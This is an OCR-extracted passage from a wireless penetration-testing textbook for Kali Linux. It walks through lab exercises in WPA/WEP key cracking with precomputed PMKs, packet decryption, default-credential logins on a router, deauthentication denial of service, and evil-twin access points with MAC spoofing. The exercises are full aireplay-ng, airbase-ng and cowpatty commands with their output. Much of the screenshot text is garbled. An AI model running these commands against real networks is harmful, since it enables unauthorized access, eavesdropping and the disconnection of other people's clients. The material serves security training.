As we have already seen in the previous section, if we have the correct passphrase in our 
dictionary, cracking WPA-Personal will work every time like a charm. So, why don't we 
just create a large elaborate dictionary of millions of common passwords and phrases 
people use? This would help us a lot and most of the time, we would end up cracking the 
passphrase. It all sounds great but we are missing one key component here— the time 
taken. One of the more CPU and time-consuming calculations is that of the Pre-Shared 
key using the PSK passphrase and the SSID through the PBKDF2. This function hashes the 
combination of both over 4,096 times before outputting the 256-bit Pre-Shared key. The next 
step in cracking involves using this key along with parameters in the four-way handshake 
and verifying against the MIC in the handshake. This step is computationally inexpensive. 
Also, the parameters will vary in the handshake every time and hence, this step cannot be 
precomputed. Thus, to speed up the cracking process, we need to make the calculation of 
the Pre-Shared key from the passphrase as fast as possible. 
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We can speed this up by precalculating the Pre-Shared Key, also called the Pairwise Master 
Key (PMK) in 802.11 standard parlance. It is important to note that, as the SSID is also used 
to calculate the PMK, with the same passphrase and with a different SSID, we will end up 
with a different PMK. Thus, the PMK depends on both the passphrase and the SSID. 


In the next exercise, we will take a look at how to precalculate the PMK and use it for 
WPA/WPA2 PSK cracking. 


Time for action — speeding up the cracking process 


We can proceed with the following steps: 





1. Wecan precalculate the PMK for a given SSID and wordlist using the genpmk tool 
with the following command: 


genpmk -f <chosen wordlist>-d PMK-Wireless-Lab -s "Wireless Lab 


This creates the PMK-Wireless-Lab file containing the pregenerated PMK: 


™©® Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places e Fri 26 Sep, 21:37 


root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@kali: ~ | root@kali: ~ root@kali: ~/WEPCrack 
:~# genpmk -f /usr/share/wordlists/nmap.Lst -d PMK-Wireless-Lab -s "Wireless Lab" 
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com> 
File PMK-Wireless-Lab exists, appending new data. 
key no. 1000: pinkgirl 


iol Sl o}-|-1-] 0] a a-|-1-|- mn - 1 -1e a | 1 [ole] ge | CO} eT -|-1-J0] a0 a -|-1-1-9e-1-lele) ale 
i~# 


root@kali: ~ [root@kali: ~/WEPCra.., 
To release input, press Ctrl+Alt se eBh 
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2. Wenow create a WPA-PSK network with the passphrase abcdefgh (present in the 
dictionary we used) and capture a WPA-handshake for that network. We now use 
Cowpatty to crack the WPA passphrase, as shown in the following screenshot: 


ar 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places af Fri 26 Sep, 21:41 


root@kali: ~ 
File Edit View Search Terminal Tabs Help 


- root@kali: ~ \ root@kali: ~ root@kali: ~/WEP Crack 


:~# cowpatty -d PMK-Wireless-Lab -s "Wireless Lab" -r WPACrackingDemo-03.cap 
cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com> 


Collected all necessary data to mount crack against WPA2/PSK passphrase. 
Starting dictionary attack. Please be patient. 


The PSK is "“abcdefgh". 


731 passphrases tested in 0.01 seconds: 123542.33 passphrases/second 
~# § 


root@kali: ~ [root@kali: ~/WEPCra... 
To release input, press Ctrl+Alt 6 =f see x a 








It takes approximately 7.18 seconds for Cowpatty to crack the key, using the 
precalculated PMKs. 


3. Wenow use aircrack-ng with the same dictionary file, and the cracking 
process takes over 22 minutes. This shows how much we are gaining because 
of the precalculation. 
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4, \norder to use these PMKs with aircrack-ng, we need to use a tool called 
airolib-ng. We will give it the options airolib-ng, PMK-Aircrack 
--import,and cowpatty PMK-Wireless-Lab, where PMK-Aircrack is the 
aircrack-ng compatible database to be created and PMK-Wireless-Lab is the 
genpmk compliant PMK database that we created previously. 


5. Wenow feed this database to aircrack-ng and the cracking process speeds up 
remarkably. We use the following command: 


aircrack-ng -r PMK-Aircrack WPACrackingDemo2-01.cap 


6. There are additional tools available on BackTrack such as Pyrit that can leverage 
multi CPU systems to speed up cracking. We give the pcap filename with the -r 
option and the genpmk compliant PMK file with the -i option. Even on the same 
system used with the previous tools, Pyrit takes around 3 seconds to crack the key, 
using the same PMI file created using genpmk. 


What just happened? 


We looked at various different tools and techniques to soeed up WPA/WPA2-PSK cracking. 
The whole idea is to pre-calculate the PMK for a given SSID and a list of passphrases in 
our dictionary. 


Decrypting WEP and WPA packets 


In all the exercises we have done till now, we cracked the WEP and WPA keys using various 
techniques. What do we do with this information? The first step is to decrypt data packets 
we have captured using these keys. 


In the next exercise, we will decrypt the WEP and WPA packets in the same trace file that we 
captured over the air, using the keys we cracked. 
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Time for action — decrypting WEP and WPA packets 


We can proceed with the following steps: 





1. Wewill decrypt packets from the WEP capture file we created earlier: 
WEPCrackingDemo-01.cap. For this, we will use another tool in the Aircrack-ng 
suite called airdecap-ng. We will run the following command, as shown in the 
following screenshot, using the WEP key we cracked previously: 


airdecap-ng -w abcdefabcdefabcdefabcdef12 WEPCrackingDemo-02.cap 


®©® Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places af Fri 26 Sep, 21:44 


root@kali: ~/WEPCrack 
File Edit View Search Terminal Tabs Help 


 root@kali: ~/WEP Crack | root@kali: ~ root@kali: ~/WEP Crack 
: EPCrack# airdecap-ng -w abcdefabcdefabcdefabcdefl2 WEPCrackingDemo -02.cap 

Total number of packets read 426553 
Total number of WEP data packets 258975 
Total number of WPA data packets 0 
euehmn°)a-haald-> aume(-la-—m el-[el.¢-3a— 1 
- of decrypted WEP packets 254269 
of corrupted WEP packets 0 
- of decrypted WPA packets 0 


k# J 


root@kali: ~/WEP Crack [root@kali: ~/WEPCra... 
To grab input, press Ctrl+G 
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2. Thedecrypted files are stored in a file named WEPCrackingDemo-02-dec.cap. 
We use the tshark utility to view the first ten packets in the file. Please note that 
you may see something different based on what you captured: 


a 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Fri 26 Sep, 21:46 


root@kali: ~/WEPCrack 


File Edit View Search Terminal Tabs Help 
ee 
root@kali: ~/WEPCrack root@kali: ~ root@kali: ~/WEP Crack root@kali: ~/WEPCrack 
: ick# tshark -r WEPCrackingDemo -02-dec.cap 
tshark: Lua: Error during Loading: 

[string "/usr/share/wireshark/init.lua"]:46: dofile has been disabled due to running Wiresh 
ark as superuser. See http://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in r 
unning Wireshark as an unprivileged user. 

Running as user "root" and group "root". This could be dangerous. 

.000000 fe8O: :3ddb:b927 :3429: 4368 FFO2::c SSDP 208 M-SEARCH * HTTP/1.1 
.001052 fe80: :3ddb:b927 : 3429: 4368 TTG2:: SSDP 208 M-SEARCH * HTTP/1.1 
./67038 fe80: :3ddb:b927 : 3429: 4368 ffO2:: SSDP 208 M-SEARCH * HTTP/1.1 
./72698 fe80: :3ddb:b927 : 3429: 4368 Tieeee SSDP 208 M-SEARCH * HTTP/1.1 
.981054 fe80: :3ddb:b927 :3429: 4368 FfO02::1:3 LLMNR 84 Standard query @x2c39 Aw 


.982078 192.168.1.100 -> 224.0.0.252 LLMNR 64 Standard query @x2c39 A wpad 
.983642 fe80: :3ddb:b927 :3429 74368 |-> TfO02::1:3 LLMNR’Y 84 Standard query @x2c39 Aw 


.985176 192.168.0.7 -> 224.0.0.252° LLMNR 64 Standard query 0x2c39 A wpad 
.004098 192.168.1.100 -> 255.255.255.255 DHCP 342 DHCP Inform - Transaction ID @x9d 


WwMANMAUMBWNPEF 


.004122 192.168.1.100 -> 255.255.255.255 DHCP 342 DHCP Inform - Transaction ID 0x9d 


.009754 192.168.1.1 -> 192.168.1.100 DHCP 590 DHCP ACK uae a |a\-t- [on Rela APEC) cle |Chel-) 


root@kali: ~/WEP Crack [root@kali: ~/WEPCra... 


To release input, press Ctrl+Alt 








3. WPA/WPA2 PSK will work in exactly the same way as with WEP, using 
the airdecap-ng utility, as shown in the following screenshot, with the 
following command: 


airdecap-ng -p abdefg WPACrackingDemo-02.cap -e "Wireless Lab" 
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, ow 





Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places ge Fri 26 Sep, 21:47 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 
ooo 
root@kali: ~/WEPCrack root@kali: ~ root@kali: ~/WEPCrack | root@kali: ~ 
:~# airdecap-ng -p abcdefg WPACrackingDemo-@3.cap -e "Wireless Lab" 
Total number of packets read 29476 
Total number of WEP data packets C) 
of WPA data packets 2326 
- Of plaintext data packets 
of decrypted WEP packets 
- of corrupted WEP packets 


Number of decrypted WPA packets 
~# 


root@kali: ~ [root@kali: ~/WEPCra... 


To release input, press Ctrl+Alt 





What just happened? 


We just saw how we can decrypt WEP and WPA/WPA2-PSK encrypted packets using 
Airdecap-ng. It is interesting to note that we can do the same using Wireshark. We would 
encourage you to explore how this can be done by consulting the Wireshark documentation. 


We can also connect to the authorized network after we have cracked the network key. This 
can come in handy during penetration testing. Logging onto the authorized network with the 
cracked key is the ultimate proof you can provide to your client that his network is insecure. 
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Time for action — connecting to a WEP network 





We can proceed with the following steps: 


1. Use the iwconfig utility to connect to a WEP network, once you have the key. Ina 
past exercise, we broke the WEP key—abcdefabcdefabcdefabcdefl12: 


ow 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Fri 26 Sep, 21:50 


root@kali: ~ 
File Edit View Search Terminal Help 
:~# iwconfig wlan® essid "Wireless lab" key abcdefabcdefabcdefabcdef12 
i~# 
:~# iwconfig wlan@ 
IEEE 802.11lbgn ESSID:"Wireless lab" 
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm 
Retry short Limit:7 RTS thr:off Fragment thr:off 


Encryption key :ABCD-EFAB -CDEF -ABCD -EFAB-CDEF -12 
Power Management :off 


:~ft 


root@kali: ~ [root@kali: ~/WEPCra.., 


To release input, press Ctrl+Alt 








What just happened? 


We saw how to connect to a WEP network. 
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Time for action — connecting to a WPA network 


We can proceed with the following steps: 





1. Inthe case of WPA, the matter is a bit more complicated. The iwconfig utility 
cannot be used with WPA/WPA2 Personal and Enterprise, as it does not support 
it. We will use a new tool called WPA supplicant for this lab. To use WPA _ 
supplicant for a network, we will need to create a configuration file, as shown 
in the following screenshot. We will name this file woa-supp. conf: 


a 





Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places ge Fri 26 Sep, 21:51 


root@kali: ~ 


File Edit View Search Terminal Help 
GNU nano 2.2.6 : wpa-supp.conf Modified 


# WPA-PSK/TKIP 


="Wireless Lab" 
key _mgmt=WPA -PSK 
proto=wPA 
pairwise=TKIP 
group=TKIP 
psk="abcdefgh" 


me Get Help “OR iema-ielehe “REACE le Be mi Prev Page “Kk a) ae “CUT re 
“Xion en) Justify im’) Where Is “\/ BES ame ele (=) ee UnCut Text gj To Spell 


root@kali: ~ [root@kali: ~/WEPCra... 
To release input, press Ctrl+Alt —5o =e fo 3 2 





2. Wewill then invoke the WPA supplicant utility with the following options: 
-D wext -i wlan0O -c wpa-supp.conf to connect to the WPA network we 
just cracked. Once the connection is successful, WPA_supplicant will give you the 
message: Connection to XXXX completed. 


3. For both the WEP and WPA networks, once you are connected, you can use 
dhcpclient to grab a DHCP address from the network by typing dhclient3 wlano. 
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What just happened? 


The default Wi-Fi utility iwconfig cannot be used to connect to WPA/WPA2 networks. 
The de-facto tool for this is WPA _Supplicant. In this lab, we saw how we can use it to 
connect to a WPA network. 


Q1. What packets are used for Packet Replay? 





Deauthentication packet. 
Associated packet. 


Encrypted ARP packet. 


= a US 


None of the above. 
Q2. When can WEP be cracked? 


Always. 
Only if a weak key/passphrase is chosen. 


Under special circumstances only. 


ee SS ie 


Only if the access point runs old software. 
Q3. When can WPA be cracked? 


Always. 
Only if a weak key/passphrase is chosen. 


If the client contains old firmware. 


or ee Se wie 


Even with no client connected to the wireless network. 


Summary 


In this chapter, we learnt about WLAN encryption. WEP is flawed and no matter what 
the WEP key is, with enough data packet samples: it is always possible to crack WEP. 
WPA/WPA2 is cryptographically un-crackable currently; however, under special 
circumstances, such as when a weak passphrase is chosen in WPA/WPA2-PSK, 

it is possible to retrieve the passphrase using dictionary attacks. 


In the next chapter, we will take a look at different attacks on the WLAN infrastructure, 
such as rogue access points, evil twins, bit-flipping attacks, and so on. 








Attacks on the WLAN Infrastructure 





"Thus, what is of supreme importance in war is to attack the enemy's strategy" 


Sun Tzu, Art of War 


In this chapter, we will attack the WLAN infrastructure's core! We will focus on 
how we can penetrate into the authorized network using various new attack 
vectors and lure authorized clients to connect to us, as an attacker. 


The WLAN infrastructure is what provides wireless services to all the WLAN clients ina 
system. In this chapter, we will take a look at the various attacks that can be conducted 
against the infrastructure: 

Default accounts and credentials on the access point 

Denial of service attacks 


Evil twin and access point MAC spoofing 


¢ ¢ &¢ «6©¢ 


Rogue access points 


WLAN access points are the core building blocks of the infrastructure. Even though they play 
such an important role, they are sometimes the most neglected in terms of security. In this 
exercise, we will check whether the default passwords have been changed on the access 
point or not. Then, we will go on to verify that, even if the passwords have been changed, 
they are still easy to guess and crack using a dictionary-based attack. 
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It is important to note that, as we move on to more advanced chapters, it will be assumed 
that you have gone through the previous chapters and are now familiar with the use of 

all the tools discussed there. This will allow us to build on that knowledge and try more 
complicated attacks! 


Time for action — cracking default accounts on the access 


points 


Follow these instructions to get started: 





1. Let's first connect to our access point Wireless Lab and attempt to navigate to 
the HTTP management interface. We see that the access point model is TP-Link 
WR841N, as shown in the following screenshot: 


Authentication Required 


The server http://192.168.1.1:80 requires a username and 
password. The server says: TP-LINK Wireless NW Router 
WRE41N. 

User Name: 


Password: 


Log In Cancel 





2. From the manufacturer's website, we find the default account credentials for 
admin are admin. We try this on the login page and we succeed in logging in. 
This shows how easy it is to break into accounts with default credentials. We highly 
encourage you to obtain the router's user manual online. This will allow you to 
understand what you are dealing with during the penetration test and gives you 
an insight into other configuration flaws you could check for: 
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TP-LINK 


Status 
WPS 
Network 
Firmware Version: 3.14.4 Build 131129 Rel.39318n 
Wireless 


DHCP 


Hardware Version: WR841N v9 00000000 


Forwarding 
Security 
Parental Control MAC Address: —_E8-94-F6-62-1E-8E 


ce hss IP Address:  192.168.1.1 


nett Subnet Mask: 255.255.255.0 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS Wireless 
System Tools Wireless Radio: Enable 
Name (SSID): TP-LINK_621E8E 
Mode: 11bgn mixed 
Channel Width: Automatic 
Channel: Auto (Current channel 8) 
MAC Address: E8-94-F6-62-1E-8E 
WDS Status: Disable 


MAC Address: E8-94-F6§-62-1E-8F 
IP Address: 192.168.0.13 Dynamic IP 
Subnet Mask: 255.255.255.0 





What just happened? 


We verified that the default credentials were never changed on this access point, and this 
could lead to a full network compromise. Also, even if the default credentials are changed, 
the result should not be something that is easy to guess or run a simple dictionary-based 
attack on. 





Have a go hero — cracking accounts using brute-force attacks 


In the previous exercise, change the password to something that is hard to guess or find in 
a dictionary and see whether you can crack it using a brute-force approach. Limit the length 
and characters in the password so that you can succeed at some point. One of the most 
common tools used to crack HTTP authentication is called Hydra and is available on Kali. 


Attacks on the WLAN Infrastructure 


WLANs are prone to Denial of Service (DoS) attacks using various techniques, including but 
not limited to: 

deauthentication attack 

Disassociation attack 

CTS-RTS attack 


¢* ¢ &¢ 


Signal interference or spectrum jamming attack 


In the scope of this book, we will discuss deauthentication attacks on the Wireless LAN 
infrastructure using the following experiment: 


Time for action — deauthentication DoS attacks 





Follow these instructions to get started: 


1. Let's configure the Wireless Lab network to use Open Authentication and no 
encryption. This will allow us to see the packets using Wireshark easily: 





TP-LINK 


Status 


Quick Setup __ Wireless Security 


WPS 


Network 5 
e Disable Security 


Wireless 
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2. Let's connect a Windows client to the access point. We will see the connection in 
the airodump-ng screen: 


~m. 


Applications Places g 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Tue 7 Oct, 15:25 


root@kali: ~ 


File Edit View Search Terminal Help 


CH 11 ][ Elapsed: 4 s ][ 2014-10-07 15:25 


BSSID 


E8:94 
9C:D3 


BSSID 


E8:94 
9C:D3 


root@kali: ~ 


JF6:62:1E:8E 
:6D:2A:7B:CO 


*F6:62:1E:8E 
°6D:2A:7B:CO 


To release input, press Ctrl+Alt 





PWR Beacons #Data, #/s CH MB 


“51 0 0 6 54e. 


-72 i ie 
STATION Rate 


86:1F:602:8F:348b5 
20:10:7A:45:36:61 -71 


54e 


Lost 


ENC CIPHER 


OPN 
WPA2 CCMP 


Frames 


24 
6 





AUTH ESSID 


Wireless Lab 
PSK everythingwill 


Probe 


Wireless Lab 
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3. Now, onthe attacker machine, let's run a directed deauthentication attack 
against this: 


a > 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Fri 26 Sep, 22:24 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 


:~# aireplay-ng -0 5 -a E£8:94:F6:62:1E:8E --ignore-negative-one mon 
22:24:44 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1l 
NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 
Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 
Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 
Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E 
Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E 
L DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E 
:~# 


] 
] 
] 





root@kali: ~ 
To grab input, press Ctrl+G ims EF 
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4. Note how the client gets disconnected from the access point completely. We can 
verify this on the airodump-ng screen as well: 


a > 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Tue 7 Oct, 15:29 


root@kali: ~ 
Edit View Search Terminal Help 

Elapsed: 4 s ][ 2014-10-07 15:29 

PWR Beacons #Data, #/s als ENC CIPHER AUTH ESSID 
-/C:D0:8D 2 0 54 WPA2 CCMP PSK Downstairs 
°62:1E:8E 2 0 54e. OPN Wireless Lab 
:2A:/B:CO co 54e WPA2 CCMP PSK everythingwill 

STATION Lost Frames Probe 


*2A:7/B:CQ 20:10:7A:45:36:61 9 
:2A:7B:CQ 70:18:8B8:08:47:B6 e- Be 2 





root@kali: ~ 
To release input, press Ctrl+Alt Gees EJ 





[971 


5. 


Attacks on the WLAN Infrastructure 


packets over the air that we just sent: 


Capturing from mono 


[Wireshark 1.10.6 (v1.10.6 from master-1.10)] 


nternals Help 


If we use Wireshark to see the traffic, you will notice a lot of deauthentication 





File Edit View Go Capture Analyze Statistics Telephony Tools 





Oodab 4 ia Q< }). VF £& BG 

Filter: v | Expression... Clear Apply Save 

No. Time Source Destination Protocol Lengtt Info 
27834 499.2383360€ Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27835 499.2472110€ Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27836 499.30009406 Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27837 499.3044870€ Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27838 499.3168700€ Netgear 2a:7b:cO Broadcast 802.11 293 Beacon fra 
27839 499.3170370€ Netgear 40:c0:a7 Broadcast 802.11 124 Data, SN=1 
27840 499.37000006 Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27841 499.3766570€ Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27842 499.39659106 Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27843 499.4076170€ Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27844 499.41927006 Netgear 2a:7b:cO Broadcast 802.11 293 Beacon fra 
27845 499.4530270€ Tp-LinkT 62:le:8e Broadcast 802.11 52 Deauthenti 
27846 499.45948706 Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27847 499.52169806 Netgear 2a:7b:cO Broadcast 802.11 293 Beacon fra 
27848 499.6241050€ Netgear 2a:7b:cO Broadcast 802.11 293 Beacon fra 

8000 O00 00 la 00 2f 48 06 00 bd 10 cl 1b 2c 00 00 00 -/H.. , 

0010 02 18 9e 09 cO 00 cb 00 00 00 80 00 00 OO ff ff ........ wee eeue. 

0020 «ff ff ff ff 9c d3 6d 2a 7b cO 9c d3 6d 2a 7b CO. ....... m* {...m*¥{. 

0030 40 ec 80 11 cl 1b 2c 00 00 00 64 00 11 04 OO lf @..... are rere 

@(® mono: <live capture in progress... Packets: 27848 - Dis... Profile: Default 





6. Wecando the same attack by sending a Broadcast deauthentication packet on 
behalf of the access point to the entire wireless network. This will have the effect 
of disconnecting all connected clients: 


a = 





Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if Tue 7 Oct, 15:46 


root@kali: ~ 


Edit View Search Terminal Tabs Help 


NB: this attack is more effective when targeting 

a connected wireless client (-c <client's mac>). 
Sending DeAuth to broadcast -- BSSID: 
Sending DeAuth to broadcast BSSID: 
Sending DeAuth to broadcast BSSID: 
Sending DeAuth to broadcast BSSID: 
Sending DeAuth to broadcast BSSID: 
Sending DeAuth to broadcast BSSID: 
Sending DeAuth to broadcast BSSID: 
Sending DeAuth to broadcast BSSID: 


root@kali: ~ 


To release input, press Ctrl+Alt 





What just happened? 


root@kali: ~  root@kali: ~ 


:~# aireplay-ng -0 © -a E8:94:F6:62:1E:8E --ignore-negative-one mon 
15:46:43 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -l 
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We successfully sent deauthentication frames to both the access point and the client. This 
resulted in them getting disconnected and a full loss of communication between them. 


We also sent out Broadcast deauthentication packets, which will ensure that no client in 


the vicinity can successfully connect to our access point. 


It is important to note that, as soon as the client is disconnected, it will try to connect back 
once again to the access point, and thus the deauthentication attack has to be carried out 


in a sustained way to have a full denial of service effect. 


Attacks on the WLAN Infrastructure 


This is one of the easiest attacks to orchestrate but has the most devastating effect. This can 
easily be used in the real world to bring a wireless network down on its knees. 





Try to check how you can conduct Dis-Association attacks against the infrastructure using 
tools available on Kali. Can you do a broadcast disassociation attack? 


One of the most potent attacks on WLAN infrastructures is the evil twin. The idea is to 
basically introduce an attacker-controlled access point in the vicinity of the WLAN network. 
This access point will advertise the exact same SSID as the authorized WLAN network. 


Many wireless users may accidently connect to this malicious access point, thinking it is part 
of the authorized network. Once a connection is established, the attacker can orchestrate a 
man-in-the-middle attack and transparently relay traffic while eavesdropping on the entire 
communication. We will take a look at how a man-in-the-middle attack is done in a later 
chapter. In the real world, an attacker would ideally use this attack close to the authorized 
network so that the user gets confused and accidently connects to the attacker's network. 


An evil twin having the same MAC address as an authorized access point is even more 
difficult to detect and deter. This is where access point MAC Spoofing comes in! In the next 
experiment, we will take a look at how to create an evil twin, coupled with access point 
MAC spoofing. 
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Time for action — evil twins and MAC spoofing 


Follow these instructions to get started: 





1. Use airodump-ng to locate the access point's BSSID and ESSID, which we would 
like to emulate in the evil twin: 


, Ww 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 
Applications Places af Tue 7 Oct, 15:29 


root@kali: ~ 
View Search Terminal Help 
Elapsed: 4 s ][ 2014-10-07 15:29 
PWR Beacons #Data, #/s MB ENC CIPHER AUTH ESSID 
2 ) ¢) 6 54 WPA2 CCMP PSK Downstairs 
2 ) ¢) 54e. OPN Wireless Lab 
3 Q@ 11 54e WPA2 CCMP PSK everythingwill 
STATION Rate Lost Frames Probe 


20:10:7A:45:36:61 5 
70:18:8B:08:47:B6 = = 2 


root@kali: ~ 


To release input, press Ctrl+Alt = Sx 
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2. econnect a Wireless client to this access point: 


am - 


File Edit View Search Terminal Tabs 


root@kali: ~ 


BSSID PWR Beacons 
CICIAC]= ee] = A Oma DC ht] D EES lo) 2 
AA: AA:AA:AA:AA:AA C) 74 
E8:94:F6:62:1E:8E -50 2 
BSSID STATION 


E8:94:F6:62:1E:8E 80:1F:02:8F:34: 


root@kali: ~ 


To release input, press Ctrl+Alt 








Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if (>) Tue 7 Oct, 15:45 


root@kali: ~ 


Help 


root@kali: ~ 


CH 6 ][ Elapsed: 4 s J[ 2014-10-07 15:45 


#Data, #/s 
C) 
Cn a 
0 6 


Rate Lost 
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ENC CIPHER AUTH ESSID 


WPA2 CCMP PSK Downstairs 
OPN Wireless Lab 


. OPN Wireless Lab 


Frames Probe 


2/7 Wireless Lab 
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3. Using this information, we create a new access point with the same ESSID but a 
different BSSID and MAC address using the airbase-ng command. Minor errors 
may occur with newer releases: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af 5] 


.- 


Con File Edit View Search Terminal Help 
fe) 


Tue 7 Oct, 15:56 


root@kali: ~ 


| :~# airbase-ng --essid Rogue -c 11 mon0 

15:56:06 Created tap interface at0 

15:56:06 Trying to set MTU on atO to 1500 

15:56:06 Access Point with BSSID 80:1F:02:8F:34:D5 started. 
Error: Got channel -1, expected a value > 0. 





root@kali: ~ 





To release input, press Ctri+Alt 





[1031 


Attacks on the WLAN Infrastructure 


4, This new access point also shows up in the airodump-ng screen.. It is important to 
note that you will need to run airodump-ng in a new window with the following 
command: 


airodump-ng --channel 11 wlan0o 


Let's see this new access point: 


a ~, 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places g Tue 7 Oct, 15:49 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: ~ ' root@kali: ~ | root@kali: ~ 


CH 10 ][ Elapsed: 1 min J[ 2014-10-07 15:49 
BSSID PWR Beacons #Data, #/s ENC CIPHER AUTH ESSID 


AA: AA:AA:AA:AA:AA 927 0 OPN Wireless Lab 
9C:D3:6D:2A:7B:CO e WPA2 CCMP PSK everythingwill 
00:0B:3B:7C:D0:8D WPA2 CCMP PSK Downstairs 

00 :22:B0:62:6D:08 <lLength: O0> 


BSSID Frames Probe 


(not associated) >1F:02:8F:34: 176 Wireless Lab 

(not associated) >-BB:3A:64:81: 4 Upstairs 

9C :D3:6D:2A:7B:CO :18:8B:08:47: 2 

9C:D3:6D:2A:/7B:CO >26 :5A:FO;04: 3 everythingwillLprobab 
9C:D3:6D:2A:/7B:CO :/7:1A:BBYy 39 67 

00 :22:B0:62:6D:08 :CB:1DT6BYA4: 2 





root@kali: ~ 


To release input, press Ctrl+Alt cos VES 
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5. Now we send a deauthentication frame to the client, so it disconnects and 
immediately tries to reconnect: 


a > 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af Tue 7 Oct, 15:46 


root@kali: ~ 
Edit View Search Terminal Tabs Help 


root@kali: ~  root@kali: ~ 


:~# aireplay-ng -0 © -a E8:94:F6:62:1E:8E --ignore-negative-one mon 
15:46:43 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 
NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 

Sending DeAuth to broadcast BSSID: 

Sending DeAuth to broadcast BSSID: 

Sending DeAuth to broadcast BSSID: 

Sending DeAuth to broadcast BSSID: 

Sending DeAuth to broadcast BSSID: 

Sending DeAuth to broadcast BSSID: 

Sending DeAuth to broadcast BSSID: 

Sending DeAuth to broadcast BSSID: 


root@kali: ~ 


To release input, press Ctrl+Alt 








fed VE sees 


6. Asweare closer to this client, our signal strength is higher, and it connects to our 
evil twin access point. 


7. \Necanalso spoof the BSSD and MAC address of the access point using the following 
command: 


airbase-ng -a <router mac> --essid "Wireless Lab" -c 11 mon0 
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8. Nowif we look at through airodump-ng, it is almost impossible to differentiate 
between both visually: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 
Applications Places Tue 7 Oct, 15:55 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: ~ / root@kali: ~ | root@kali: ~ 


CH 13 ][ Elapsed: 6 mins ][ 2014-10-07 15:55 
BSSID PWR Beacons #Data, #/s CH ENC CIPHER AUTH ESSID 


E8:94:F6:62:1E:8E 0 Ells) 0 0 ill OPN Wireless Lab 
00:22:B0:62:6D:08 -1 0 0 0 2 <lLength: Q> 
9C:D3:6D:2A:7B:CO -7/5 141 349 Ke Raa | WPA2 CCMP PSK everythingwill 
00:0B8:3B:7C:D0:8D -94 147 17 0 6 WPA2 CCMP PSK Downstairs 


BSSID STATION Rate Lost Frames Probe 


(not associated) -1F:02:8F:34: 473 Wireless Lab 

(not associated) 7E4:00:46:D9: Upstairs 

00 :22:B0:62:6D:08 

9C:D3:6D:2A:/7B:CO °18:8B:08;4/7:: 

9C :D3:6D:2A:/7B:CO >26 :5A:FOY 04: everythingwillprobab 
9C:D3:6D:2A:7B:CO everythingwillprobab 
9C:D3:6D:2A:/B:CO 


root@kali: ~ 
To release input, press Ctrl+Alt oo =s8 io 3 2 








9. Even airodump-ng is unable to discern that there are actually two different physical 
access points on the same channel. This is the most potent form of the evil twin. 
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What just happened? 


We created an evil twin for the authorized network and used a deauthentication attack 
to have the legitimate client connect back to us, instead of the authorized network 
access point. 


It is important to note that, in the case of the authorized access point using encryption such 
as WEP/WPA, it might be more difficult to conduct an attack in which traffic eavesdropping 
is possible. We will take a look at how to break the WEP key with just a client using the Caffe 
Latte attack in a later chapter. 





In the previous exercise, run the evil twin on different channels and observe how the client, 
once disconnected, hops channels to connect to the access point. What is the deciding factor 
based on which the client decides which access point to connect to? Is it signal strength? 
Experiment and validate. 


A rogue access point is an unauthorized access point connected to the authorized network. 
Typically, this access point can be used as a backdoor entry by an attacker, thus enabling him 
to bypass all security controls on the network. This would mean that the firewalls, intrusion 
prevention systems, and so on, which guard the border of a network, would be able to do 
little to stop him from accessing the network. 


In the most common case, a rogue access point is set to Open Authentication and no 
encryption. The rogue access point can be created in the following two ways: 


@ Installing an actual physical device on the authorized network as a rogue 
access point. (This is something | leave as an exercise to you.) Also, more than 
wireless security, this has to do with breaching the physical security of the 
authorized network. 


@ Creating a rogue access point in software and bridging it with the local authorized 
network Ethernet network. This will allow practically any laptop running on the 
authorized network to function as a rogue access point. We will look at this in 
the next experiment. 
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Time for action — cracking WEP 





Follow these instructions to get started: 


i; 


